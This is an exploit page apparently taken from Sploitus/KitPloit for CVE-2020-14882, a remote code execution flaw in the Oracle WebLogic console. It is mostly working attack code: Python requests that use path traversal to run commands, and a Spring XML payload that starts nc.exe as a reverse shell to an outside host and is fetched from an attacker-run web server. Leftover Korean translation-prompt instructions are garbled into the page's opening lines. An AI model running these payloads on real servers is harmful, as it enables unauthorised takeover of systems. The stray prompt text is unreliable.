Sploitus

Exploit for CVE-2020-14882

kitploit · 2026-08-26

Exploit Code

MARKDOWN59 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALEXFRANCOW-CVE-2020-14882
는 오직 번역된 Markdown만 출력해야 하며, 추가 설명 없이 바로 시작해야 합니다.

참고로 "CVE-2020-14882"는 취약점 식별자이므로 번역 금지입니다. "calc.exe", "nc.exe", "poc.xml" 등도 그대로 유지합니다.

이제 번역을 작성하겠습니다.# CVE-2020-14882

## coherence 쉘 세션 calc.exe

root@kitploit:~
    
    
    import requests
    
    url = 'http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \
                  '?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \
                  '(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)'.format('192.168.1.53', '7001')
    response = requests.get(url)
    

## FileSystemXmlApplicationContext를 이용한 nc 리버스 쉘

다음 poc.xml로 웹 서버를 시작합니다:

root@kitploit:~
    
    
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>cmd</value>
            <value>/c</value>
            <value>C:\temp\nc.exe 192.168.1.41 4444</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

$ python3 -m http.server

root@kitploit:~
    
    
    import requests
    
    url = 'http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \
                  '?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' \
                  '(%22http://192.168.1.41:8000/poc.xml%22)'.format('192.168.1.53', '7001')
    response = requests.get(url)
    

root@kitploit:~
    
    
    python3 -m http.server
    Serving HTTP on 0.0.0.0 port 8000 ...
    192.168.1.53 - - [30/Oct/2020 07:00:12] "GET /poc.xml HTTP/1.1" 200 -